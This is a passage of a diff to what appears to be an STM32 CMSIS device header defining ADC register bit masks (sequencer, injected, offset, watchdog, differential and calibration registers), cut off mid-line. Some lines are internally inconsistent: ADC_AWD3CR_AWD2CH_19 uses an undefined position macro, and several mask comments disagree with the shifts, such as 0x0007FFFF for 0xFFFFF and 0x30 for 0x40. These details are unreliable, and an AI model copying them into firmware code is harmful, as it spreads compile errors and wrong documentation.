+#define ADC_SQR3_SQ13_4 (0x10UL << ADC_SQR3_SQ13_Pos) /*!< 0x00400000 */ + +#define ADC_SQR3_SQ14_Pos (24U) +#define ADC_SQR3_SQ14_Msk (0x1FUL << ADC_SQR3_SQ14_Pos) /*!< 0x1F000000 */ +#define ADC_SQR3_SQ14 ADC_SQR3_SQ14_Msk /*!< ADC group regular sequencer rank 14 */ +#define ADC_SQR3_SQ14_0 (0x01UL << ADC_SQR3_SQ14_Pos) /*!< 0x01000000 */ +#define ADC_SQR3_SQ14_1 (0x02UL << ADC_SQR3_SQ14_Pos) /*!< 0x02000000 */ +#define ADC_SQR3_SQ14_2 (0x04UL << ADC_SQR3_SQ14_Pos) /*!< 0x04000000 */ +#define ADC_SQR3_SQ14_3 (0x08UL << ADC_SQR3_SQ14_Pos) /*!< 0x08000000 */ +#define ADC_SQR3_SQ14_4 (0x10UL << ADC_SQR3_SQ14_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR4 register ******************/ +#define ADC_SQR4_SQ15_Pos (0U) +#define ADC_SQR4_SQ15_Msk (0x1FUL << ADC_SQR4_SQ15_Pos) /*!< 0x0000001F */ +#define ADC_SQR4_SQ15 ADC_SQR4_SQ15_Msk /*!< ADC group regular sequencer rank 15 */ +#define ADC_SQR4_SQ15_0 (0x01UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000001 */ +#define ADC_SQR4_SQ15_1 (0x02UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000002 */ +#define ADC_SQR4_SQ15_2 (0x04UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000004 */ +#define ADC_SQR4_SQ15_3 (0x08UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000008 */ +#define ADC_SQR4_SQ15_4 (0x10UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000010 */ + +#define ADC_SQR4_SQ16_Pos (6U) +#define ADC_SQR4_SQ16_Msk (0x1FUL << ADC_SQR4_SQ16_Pos) /*!< 0x000007C0 */ +#define ADC_SQR4_SQ16 ADC_SQR4_SQ16_Msk /*!< ADC group regular sequencer rank 16 */ +#define ADC_SQR4_SQ16_0 (0x01UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000040 */ +#define ADC_SQR4_SQ16_1 (0x02UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000080 */ +#define ADC_SQR4_SQ16_2 (0x04UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000100 */ +#define ADC_SQR4_SQ16_3 (0x08UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000200 */ +#define ADC_SQR4_SQ16_4 (0x10UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000400 */ + +/******************** Bit definition for ADC_DR register ********************/ +#define ADC_DR_RDATA_Pos (0U) +#define ADC_DR_RDATA_Msk (0xFFFFUL << ADC_DR_RDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_DR_RDATA ADC_DR_RDATA_Msk /*!< ADC group regular conversion data */ + +/******************** Bit definition for ADC_JSQR register ******************/ +#define ADC_JSQR_JL_Pos (0U) +#define ADC_JSQR_JL_Msk (0x3UL << ADC_JSQR_JL_Pos) /*!< 0x00000003 */ +#define ADC_JSQR_JL ADC_JSQR_JL_Msk /*!< ADC group injected sequencer scan length */ +#define ADC_JSQR_JL_0 (0x1UL << ADC_JSQR_JL_Pos) /*!< 0x00000001 */ +#define ADC_JSQR_JL_1 (0x2UL << ADC_JSQR_JL_Pos) /*!< 0x00000002 */ + +#define ADC_JSQR_JEXTSEL_Pos (2U) +#define ADC_JSQR_JEXTSEL_Msk (0x1FUL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x0000007C */ +#define ADC_JSQR_JEXTSEL ADC_JSQR_JEXTSEL_Msk /*!< ADC group injected external trigger source */ +#define ADC_JSQR_JEXTSEL_0 (0x1UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000004 */ +#define ADC_JSQR_JEXTSEL_1 (0x2UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000008 */ +#define ADC_JSQR_JEXTSEL_2 (0x4UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000010 */ +#define ADC_JSQR_JEXTSEL_3 (0x8UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_JSQR_JEXTSEL_4 (0x10UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000040 */ + +#define ADC_JSQR_JEXTEN_Pos (7U) +#define ADC_JSQR_JEXTEN_Msk (0x3UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000180 */ +#define ADC_JSQR_JEXTEN ADC_JSQR_JEXTEN_Msk /*!< ADC group injected external trigger polarity */ +#define ADC_JSQR_JEXTEN_0 (0x1UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000080 */ +#define ADC_JSQR_JEXTEN_1 (0x2UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000100 */ + +#define ADC_JSQR_JSQ1_Pos (9U) +#define ADC_JSQR_JSQ1_Msk (0x1FUL << ADC_JSQR_JSQ1_Pos) /*!< 0x00003E00 */ +#define ADC_JSQR_JSQ1 ADC_JSQR_JSQ1_Msk /*!< ADC group injected sequencer rank 1 */ +#define ADC_JSQR_JSQ1_0 (0x01UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000200 */ +#define ADC_JSQR_JSQ1_1 (0x02UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000400 */ +#define ADC_JSQR_JSQ1_2 (0x04UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000800 */ +#define ADC_JSQR_JSQ1_3 (0x08UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00001000 */ +#define ADC_JSQR_JSQ1_4 (0x10UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00002000 */ + +#define ADC_JSQR_JSQ2_Pos (15U) +#define ADC_JSQR_JSQ2_Msk (0x1FUL << ADC_JSQR_JSQ2_Pos) /*!< 0x0007C000 */ +#define ADC_JSQR_JSQ2 ADC_JSQR_JSQ2_Msk /*!< ADC group injected sequencer rank 2 */ +#define ADC_JSQR_JSQ2_0 (0x01UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00004000 */ +#define ADC_JSQR_JSQ2_1 (0x02UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00008000 */ +#define ADC_JSQR_JSQ2_2 (0x04UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00010000 */ +#define ADC_JSQR_JSQ2_3 (0x08UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00020000 */ +#define ADC_JSQR_JSQ2_4 (0x10UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00040000 */ + +#define ADC_JSQR_JSQ3_Pos (21U) +#define ADC_JSQR_JSQ3_Msk (0x1FUL << ADC_JSQR_JSQ3_Pos) /*!< 0x03E00000 */ +#define ADC_JSQR_JSQ3 ADC_JSQR_JSQ3_Msk /*!< ADC group injected sequencer rank 3 */ +#define ADC_JSQR_JSQ3_0 (0x01UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00200000 */ +#define ADC_JSQR_JSQ3_1 (0x02UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00400000 */ +#define ADC_JSQR_JSQ3_2 (0x04UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00800000 */ +#define ADC_JSQR_JSQ3_3 (0x08UL << ADC_JSQR_JSQ3_Pos) /*!< 0x01000000 */ +#define ADC_JSQR_JSQ3_4 (0x10UL << ADC_JSQR_JSQ3_Pos) /*!< 0x02000000 */ + +#define ADC_JSQR_JSQ4_Pos (27U) +#define ADC_JSQR_JSQ4_Msk (0x1FUL << ADC_JSQR_JSQ4_Pos) /*!< 0xF8000000 */ +#define ADC_JSQR_JSQ4 ADC_JSQR_JSQ4_Msk /*!< ADC group injected sequencer rank 4 */ +#define ADC_JSQR_JSQ4_0 (0x01UL << ADC_JSQR_JSQ4_Pos) /*!< 0x08000000 */ +#define ADC_JSQR_JSQ4_1 (0x02UL << ADC_JSQR_JSQ4_Pos) /*!< 0x10000000 */ +#define ADC_JSQR_JSQ4_2 (0x04UL << ADC_JSQR_JSQ4_Pos) /*!< 0x20000000 */ +#define ADC_JSQR_JSQ4_3 (0x08UL << ADC_JSQR_JSQ4_Pos) /*!< 0x40000000 */ +#define ADC_JSQR_JSQ4_4 (0x10UL << ADC_JSQR_JSQ4_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OFR1 register ******************/ +#define ADC_OFR1_OFFSET1_Pos (0U) +#define ADC_OFR1_OFFSET1_Msk (0xFFFUL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000FFF */ +#define ADC_OFR1_OFFSET1 ADC_OFR1_OFFSET1_Msk /*!< ADC offset number 1 offset level */ + +#define ADC_OFR1_OFFSETPOS_Pos (24U) +#define ADC_OFR1_OFFSETPOS_Msk (0x1UL << ADC_OFR1_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR1_OFFSETPOS ADC_OFR1_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR1_SATEN_Pos (25U) +#define ADC_OFR1_SATEN_Msk (0x1UL << ADC_OFR1_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR1_SATEN ADC_OFR1_SATEN_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR1_OFFSET1_CH_Pos (26U) +#define ADC_OFR1_OFFSET1_CH_Msk (0x1FUL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR1_OFFSET1_CH ADC_OFR1_OFFSET1_CH_Msk /*!< ADC offset number 1 channel selection */ +#define ADC_OFR1_OFFSET1_CH_0 (0x01UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR1_OFFSET1_CH_1 (0x02UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR1_OFFSET1_CH_2 (0x04UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR1_OFFSET1_CH_3 (0x08UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR1_OFFSET1_CH_4 (0x10UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR1_OFFSET1_EN_Pos (31U) +#define ADC_OFR1_OFFSET1_EN_Msk (0x1UL << ADC_OFR1_OFFSET1_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR1_OFFSET1_EN ADC_OFR1_OFFSET1_EN_Msk /*!< ADC offset number 1 enable */ + +/******************** Bit definition for ADC_OFR2 register ******************/ +#define ADC_OFR2_OFFSET2_Pos (0U) +#define ADC_OFR2_OFFSET2_Msk (0xFFFUL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000FFF */ +#define ADC_OFR2_OFFSET2 ADC_OFR2_OFFSET2_Msk /*!< ADC offset number 2 offset level */ + +#define ADC_OFR2_OFFSETPOS_Pos (24U) +#define ADC_OFR2_OFFSETPOS_Msk (0x1UL << ADC_OFR2_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR2_OFFSETPOS ADC_OFR2_OFFSETPOS_Msk /*!< ADC offset number 2 positive */ +#define ADC_OFR2_SATEN_Pos (25U) +#define ADC_OFR2_SATEN_Msk (0x1UL << ADC_OFR2_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR2_SATEN ADC_OFR2_SATEN_Msk /*!< ADC offset number 2 saturation enable */ + +#define ADC_OFR2_OFFSET2_CH_Pos (26U) +#define ADC_OFR2_OFFSET2_CH_Msk (0x1FUL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR2_OFFSET2_CH ADC_OFR2_OFFSET2_CH_Msk /*!< ADC offset number 2 channel selection */ +#define ADC_OFR2_OFFSET2_CH_0 (0x01UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR2_OFFSET2_CH_1 (0x02UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR2_OFFSET2_CH_2 (0x04UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR2_OFFSET2_CH_3 (0x08UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR2_OFFSET2_CH_4 (0x10UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR2_OFFSET2_EN_Pos (31U) +#define ADC_OFR2_OFFSET2_EN_Msk (0x1UL << ADC_OFR2_OFFSET2_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR2_OFFSET2_EN ADC_OFR2_OFFSET2_EN_Msk /*!< ADC offset number 2 enable */ + +/******************** Bit definition for ADC_OFR3 register ******************/ +#define ADC_OFR3_OFFSET3_Pos (0U) +#define ADC_OFR3_OFFSET3_Msk (0xFFFUL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000FFF */ +#define ADC_OFR3_OFFSET3 ADC_OFR3_OFFSET3_Msk /*!< ADC offset number 3 offset level */ + +#define ADC_OFR3_OFFSETPOS_Pos (24U) +#define ADC_OFR3_OFFSETPOS_Msk (0x1UL << ADC_OFR3_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR3_OFFSETPOS ADC_OFR3_OFFSETPOS_Msk /*!< ADC offset number 3 positive */ +#define ADC_OFR3_SATEN_Pos (25U) +#define ADC_OFR3_SATEN_Msk (0x1UL << ADC_OFR3_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR3_SATEN ADC_OFR3_SATEN_Msk /*!< ADC offset number 3 saturation enable */ + +#define ADC_OFR3_OFFSET3_CH_Pos (26U) +#define ADC_OFR3_OFFSET3_CH_Msk (0x1FUL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR3_OFFSET3_CH ADC_OFR3_OFFSET3_CH_Msk /*!< ADC offset number 3 channel selection */ +#define ADC_OFR3_OFFSET3_CH_0 (0x01UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR3_OFFSET3_CH_1 (0x02UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR3_OFFSET3_CH_2 (0x04UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR3_OFFSET3_CH_3 (0x08UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR3_OFFSET3_CH_4 (0x10UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR3_OFFSET3_EN_Pos (31U) +#define ADC_OFR3_OFFSET3_EN_Msk (0x1UL << ADC_OFR3_OFFSET3_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR3_OFFSET3_EN ADC_OFR3_OFFSET3_EN_Msk /*!< ADC offset number 3 enable */ + +/******************** Bit definition for ADC_OFR4 register ******************/ +#define ADC_OFR4_OFFSET4_Pos (0U) +#define ADC_OFR4_OFFSET4_Msk (0xFFFUL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000FFF */ +#define ADC_OFR4_OFFSET4 ADC_OFR4_OFFSET4_Msk /*!< ADC offset number 4 offset level */ + +#define ADC_OFR4_OFFSETPOS_Pos (24U) +#define ADC_OFR4_OFFSETPOS_Msk (0x1UL << ADC_OFR4_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR4_OFFSETPOS ADC_OFR4_OFFSETPOS_Msk /*!< ADC offset number 4 positive */ +#define ADC_OFR4_SATEN_Pos (25U) +#define ADC_OFR4_SATEN_Msk (0x1UL << ADC_OFR4_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR4_SATEN ADC_OFR4_SATEN_Msk /*!< ADC offset number 4 saturation enable */ + +#define ADC_OFR4_OFFSET4_CH_Pos (26U) +#define ADC_OFR4_OFFSET4_CH_Msk (0x1FUL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR4_OFFSET4_CH ADC_OFR4_OFFSET4_CH_Msk /*!< ADC offset number 4 channel selection */ +#define ADC_OFR4_OFFSET4_CH_0 (0x01UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR4_OFFSET4_CH_1 (0x02UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR4_OFFSET4_CH_2 (0x04UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR4_OFFSET4_CH_3 (0x08UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR4_OFFSET4_CH_4 (0x10UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR4_OFFSET4_EN_Pos (31U) +#define ADC_OFR4_OFFSET4_EN_Msk (0x1UL << ADC_OFR4_OFFSET4_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR4_OFFSET4_EN ADC_OFR4_OFFSET4_EN_Msk /*!< ADC offset number 4 enable */ + +/******************** Bit definition for ADC_JDR1 register ******************/ +#define ADC_JDR1_JDATA_Pos (0U) +#define ADC_JDR1_JDATA_Msk (0xFFFFUL << ADC_JDR1_JDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_JDR1_JDATA ADC_JDR1_JDATA_Msk /*!< ADC group injected sequencer rank 1 conversion data */ + +/******************** Bit definition for ADC_JDR2 register ******************/ +#define ADC_JDR2_JDATA_Pos (0U) +#define ADC_JDR2_JDATA_Msk (0xFFFFUL << ADC_JDR2_JDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_JDR2_JDATA ADC_JDR2_JDATA_Msk /*!< ADC group injected sequencer rank 2 conversion data */ + +/******************** Bit definition for ADC_JDR3 register ******************/ +#define ADC_JDR3_JDATA_Pos (0U) +#define ADC_JDR3_JDATA_Msk (0xFFFFUL << ADC_JDR3_JDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_JDR3_JDATA ADC_JDR3_JDATA_Msk /*!< ADC group injected sequencer rank 3 conversion data */ + +/******************** Bit definition for ADC_JDR4 register ******************/ +#define ADC_JDR4_JDATA_Pos (0U) +#define ADC_JDR4_JDATA_Msk (0xFFFFUL << ADC_JDR4_JDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_JDR4_JDATA ADC_JDR4_JDATA_Msk /*!< ADC group injected sequencer rank 4 conversion data */ + +/******************** Bit definition for ADC_AWD2CR register ****************/ +#define ADC_AWD2CR_AWD2CH_Pos (0U) +#define ADC_AWD2CR_AWD2CH_Msk (0xFFFFFUL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x0007FFFF */ +#define ADC_AWD2CR_AWD2CH ADC_AWD2CR_AWD2CH_Msk /*!< ADC analog watchdog 2 monitored channel selection */ +#define ADC_AWD2CR_AWD2CH_0 (0x00001UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD2CR_AWD2CH_1 (0x00002UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD2CR_AWD2CH_2 (0x00004UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD2CR_AWD2CH_3 (0x00008UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD2CR_AWD2CH_4 (0x00010UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD2CR_AWD2CH_5 (0x00020UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD2CR_AWD2CH_6 (0x00040UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD2CR_AWD2CH_7 (0x00080UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD2CR_AWD2CH_8 (0x00100UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD2CR_AWD2CH_9 (0x00200UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD2CR_AWD2CH_10 (0x00400UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD2CR_AWD2CH_11 (0x00800UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD2CR_AWD2CH_12 (0x01000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD2CR_AWD2CH_13 (0x02000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD2CR_AWD2CH_14 (0x04000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD2CR_AWD2CH_15 (0x08000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD2CR_AWD2CH_16 (0x10000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD2CR_AWD2CH_17 (0x20000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD2CR_AWD2CH_18 (0x40000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD2CR_AWD2CH_19 (0x80000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_AWD3CR register ****************/ +#define ADC_AWD3CR_AWD3CH_Pos (0U) +#define ADC_AWD3CR_AWD3CH_Msk (0xFFFFFUL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x0007FFFF */ +#define ADC_AWD3CR_AWD3CH ADC_AWD3CR_AWD3CH_Msk /*!< ADC analog watchdog 3 monitored channel selection */ +#define ADC_AWD3CR_AWD3CH_0 (0x00001UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD3CR_AWD3CH_1 (0x00002UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD3CR_AWD3CH_2 (0x00004UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD3CR_AWD3CH_3 (0x00008UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD3CR_AWD3CH_4 (0x00010UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD3CR_AWD3CH_5 (0x00020UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD3CR_AWD3CH_6 (0x00040UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD3CR_AWD3CH_7 (0x00080UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD3CR_AWD3CH_8 (0x00100UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD3CR_AWD3CH_9 (0x00200UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD3CR_AWD3CH_10 (0x00400UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD3CR_AWD3CH_11 (0x00800UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD3CR_AWD3CH_12 (0x01000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD3CR_AWD3CH_13 (0x02000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD3CR_AWD3CH_14 (0x04000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD3CR_AWD3CH_15 (0x08000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD3CR_AWD3CH_16 (0x10000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD3CR_AWD3CH_17 (0x20000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD3CR_AWD3CH_18 (0x40000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD3CR_AWD2CH_19 (0x80000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_DIFSEL register ****************/ +#define ADC_DIFSEL_DIFSEL_Pos (0U) +#define ADC_DIFSEL_DIFSEL_Msk (0xFFFFFUL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x0007FFFF */ +#define ADC_DIFSEL_DIFSEL ADC_DIFSEL_DIFSEL_Msk /*!< ADC channel differential or single-ended mode */ +#define ADC_DIFSEL_DIFSEL_0 (0x00001UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000001 */ +#define ADC_DIFSEL_DIFSEL_1 (0x00002UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000002 */ +#define ADC_DIFSEL_DIFSEL_2 (0x00004UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000004 */ +#define ADC_DIFSEL_DIFSEL_3 (0x00008UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000008 */ +#define ADC_DIFSEL_DIFSEL_4 (0x00010UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000010 */ +#define ADC_DIFSEL_DIFSEL_5 (0x00020UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000020 */ +#define ADC_DIFSEL_DIFSEL_6 (0x00040UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000040 */ +#define ADC_DIFSEL_DIFSEL_7 (0x00080UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000080 */ +#define ADC_DIFSEL_DIFSEL_8 (0x00100UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000100 */ +#define ADC_DIFSEL_DIFSEL_9 (0x00200UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000200 */ +#define ADC_DIFSEL_DIFSEL_10 (0x00400UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000400 */ +#define ADC_DIFSEL_DIFSEL_11 (0x00800UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000800 */ +#define ADC_DIFSEL_DIFSEL_12 (0x01000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00001000 */ +#define ADC_DIFSEL_DIFSEL_13 (0x02000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00002000 */ +#define ADC_DIFSEL_DIFSEL_14 (0x04000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00004000 */ +#define ADC_DIFSEL_DIFSEL_15 (0x08000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00008000 */ +#define ADC_DIFSEL_DIFSEL_16 (0x10000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00010000 */ +#define ADC_DIFSEL_DIFSEL_17 (0x20000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00020000 */ +#define ADC_DIFSEL_DIFSEL_18 (0x40000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00040000 */ +#define ADC_DIFSEL_DIFSEL_19 (0x80000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_CALFACT register ***************/ +#define ADC_CALFACT_CALFACT_S_Pos (0U) +#define ADC_CALFACT_CALFACT_S_Msk (0x7FUL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x0000007F */ +#define ADC_CALFACT_CALFACT_S ADC_CALFACT_CALFACT_S_Msk /*!< ADC calibration factor in single-ended mode */ +#define ADC_CALFACT_CALFACT_S_0 (0x01UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT_CALFACT_S_1 (0x02UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT_CALFACT_S_2 (0x04UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT_CALFACT_S_3 (0x08UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT_CALFACT_S_4 (0x10UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT_CALFACT_S_5 (0x20UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT_CALFACT_S_6 (0x40UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000030 */ + +#define ADC_CALFACT_CALFACT_D_Pos (16U) +#define ADC_CALFACT_CALFACT_D_Msk (0x7FUL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x007F0000 */ +#define ADC_CALFACT_CALFACT_D ADC_CALFACT_CALFACT_D_Msk /*!< ADC calibration factor in differential mode */ +#define ADC_CALFACT_CALFACT_D_0 (0x01UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT_CALFACT_D_1 (0x02UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00020000 */ +#define ADC_CALFACT_CALFACT_D_2 (0x04UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00040000 */ +#define ADC_CALFACT_CALFACT_D_3 (0x08UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 